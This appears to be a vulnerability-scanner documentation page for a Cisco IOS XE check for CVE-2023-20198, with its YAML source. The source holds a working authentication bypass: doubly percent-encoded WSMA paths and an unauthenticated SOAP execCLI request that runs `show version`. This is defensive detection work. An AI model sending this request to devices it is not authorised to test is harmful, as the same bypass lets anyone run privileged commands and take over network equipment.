Cisco IOS XE (WSMA) — 1 vulnerability check

noctis ships 1 vulnerability check for Cisco IOS XE (WSMA), covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Cisco IOS XE Web UI Pre-Auth WSMA Command Execution

CVECVE-2023-20198
Severitycritical · CVSS 10.0
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, tcp_connect, match · highest QoD 97
Feedtests/vulnerabilities/cisco-wsma/CVE-2023-20198.yaml

Sends an unauthenticated WSMA SOAP execCLI request running the read-only `show version` command, tagged with a random per-scan correlator, to the percent-encoded web UI paths (/%2577eb%2575i_%2577sma_Http and variants) that slip past the web UI's authentication on vulnerable Cisco IOS XE releases. The device is reported vulnerable only when it answers HTTP 200 with a WSMA SOAP response that echoes the correlator and returns the `show version` output ("Cisco IOS XE Software") in its execution log, proving the CLI command ran without credentials. Login pages, 404 pages and servers that reflect the request are not reported.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Raw TCP (TLS on HTTPS), sent verbatim: POST {{wsma_path}} HTTP/1.1, for each of 4 values
  3. Parses / computes the next value with a Rhai script
  4. Checks check.executed for ^true$ → finding QoD 97: Cisco IOS XE web UI unauthenticated WSMA command execution (CVE-2023-20198)

References:

Feed source — tests/vulnerabilities/cisco-wsma/CVE-2023-20198.yaml
# Cisco IOS XE Web UI Pre-Auth WSMA Command Execution — CVE-2023-20198
#
# The IOS XE web UI fronts its WSMA (Web Services Management Agent) SOAP
# handler, /webui_wsma_Http, with nginx, which requires authentication on that
# location. nginx decodes the request path once before matching locations but
# proxies the raw path to iosd, which decodes it a second time: a doubly
# percent-encoded path (/%2577eb%2575i_%2577sma_Http) escapes the protected
# location and still reaches the WSMA handler, which then runs any SOAP
# execCLI / configApply request at privilege 15 without credentials.
# Chained with CVE-2023-20273 to plant the BadCandy implant (Oct 2023, KEV).
#
# Detection (benign, proof of execution): POST a WSMA execCLI request running
# `show version` with a per-run correlator to the encoded paths public
# exploits use (double-encoded first — the form a stock nginx front lets
# through — then the single-encoded and https variants). Report only an
# HTTP 200 SOAP <response> that echoes our correlator and whose execLog
# <received> text carries the `show version` output ("Cisco IOS XE Software").
# The earlier "execLog or Cisco Systems anywhere" match fired on the copyright
# footer of every Cisco login / 404 page and on echo servers (issue #2392).
#
# References:
#   https://nvd.nist.gov/vuln/detail/CVE-2023-20198
#   https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z
#   https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-deep-dive-and-poc/
#   https://github.com/smokeintheshell/CVE-2023-20198
#
uid: b1a4e7f2-3c96-4d0b-8e5a-1f7d2c9b0a3e
name: "Cisco IOS XE Web UI Pre-Auth WSMA Command Execution (CVE-2023-20198)"
description: |
  Sends an unauthenticated WSMA SOAP execCLI request running the read-only
  `show version` command, tagged with a random per-scan correlator, to the
  percent-encoded web UI paths (/%2577eb%2575i_%2577sma_Http and variants)
  that slip past the web UI's authentication on vulnerable Cisco IOS XE
  releases. The device is reported vulnerable only when it answers HTTP 200
  with a WSMA SOAP response that echoes the correlator and returns the
  `show version` output ("Cisco IOS XE Software") in its execution log,
  proving the CLI command ran without credentials. Login pages, 404 pages and
  servers that reflect the request are not reported.
cves: [CVE-2023-20198]
cvss: 10.0
severity: critical
category: rce
confidence_base: 0.20
tags: [cisco, ios-xe, webui, wsma, soap, rce, auth-bypass, kev]
services: [http, https]
author: noctis
version: "1.1.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2023-20198"
  - "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z"
  - "https://github.com/smokeintheshell/CVE-2023-20198"

steps:
  # ── Per-run SOAP body: `show version` tagged with a random correlator ────
  # The correlator comes back on the WSMA <response>, never in a login/404
  # page; the request carries it on <request>, so a reflector cannot match.
  - id: build-request
    action: script
    store_as: wsma
    code: |
      let corr = "noctis" + rand_hex(8);
      let body = "<?xml version=\"1.0\"?><SOAP:Envelope xmlns:SOAP=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"><SOAP:Header><wsse:Security xmlns:wsse=\"http://schemas.xmlsoap.org/ws/2002/04/secext\"><wsse:UsernameToken SOAP:mustUnderstand=\"false\"><wsse:Username>admin</wsse:Username><wsse:Password>*****</wsse:Password></wsse:UsernameToken></wsse:Security></SOAP:Header><SOAP:Body><request correlator=\"" + corr + "\" xmlns=\"urn:cisco:wsma-exec\"><execCLI xsd=\"false\"><cmd>show version</cmd><dialogue><expect></expect><reply></reply></dialogue></execCLI></request></SOAP:Body></SOAP:Envelope>";
      #{ corr: corr, body: body, len: strlen(body) }

  # ── Try each encoded WSMA path; `stop: true` ends at the first proof ─────
  # Raw TCP: reqwest would decode %25/%77 before sending. The scheme of the
  # matched service decides plain vs TLS.
  - id: wsma-probe
    action: tcp_connect
    port: "{{port}}"
    timeout_secs: 10
    send: "POST {{wsma_path}} HTTP/1.1\r\nHost: {{target_host}}\r\nContent-Type: text/xml; charset=UTF-8\r\nContent-Length: {{wsma.len}}\r\nConnection: close\r\n\r\n{{wsma.body}}"
    store_as: resp
    loop:
      var: wsma_path
      over:
        - /%2577eb%2575i_%2577sma_Http
        - /%2577eb%2575i_%2577sma_%2548%2554%2554%2550
        - /%2577ebui_wsma_https
        - /%77eb%75i_%77sma_Http

  # ── Did WSMA run the command? 200 + our correlator + show version output ─
  - id: evaluate
    action: script
    store_as: check
    code: |
      // tcp_connect stores nothing when the connect / TLS handshake fails
      let hay = "";
      if is_def_var("resp") && type_of(resp.banner) == "string" { hay = resp.banner; }
      let ok200 = ereg("^HTTP/1\\.[01] 200", hay);
      let echoed = ereg("<(?:[A-Za-z0-9_]+:)?response\\b[^>]*\\bcorrelator=\"" + wsma.corr + "\"", hay);
      let ran = ereg("(?s)<(?:[A-Za-z0-9_]+:)?execLog\\b.*<(?:[A-Za-z0-9_]+:)?received\\b.*Cisco IOS[ -]?XE Software", hay);
      let ver = eregmatch("Cisco IOS[ -]?XE Software,? Version ([^\\s,<]+)", hay);
      #{ executed: ok200 && echoed && ran, version: if ver.len() > 1 { ver[1] } else { "unknown" } }

  - id: wsma-match
    action: match
    source: check.executed
    pattern: "^true$"
    on_match:
      finding:
        title: "Cisco IOS XE web UI unauthenticated WSMA command execution (CVE-2023-20198)"
        description: "The IOS XE web UI ran a WSMA SOAP execCLI request sent without credentials to a percent-encoded WSMA path: the reply echoed the scan's correlator and returned the output of `show version`. An attacker can run any privilege-15 CLI command or configuration change, including creating an administrator account."
        remediation: "Upgrade Cisco IOS XE to a fixed release (17.9.4a, 17.6.6a, 17.3.8a, 16.12.10a or later), or disable the HTTP/HTTPS server (`no ip http server` / `no ip http secure-server`) until then, and check the device for unknown privilege-15 accounts and implants."
        confidence_delta: 0.75
        qod: 97
        evidence: "POST {{wsma_path}} (no credentials) — WSMA execCLI `show version` executed; correlator {{wsma.corr}} echoed, IOS XE version {{check.version}}"
      stop: true

View these feeds on GitHub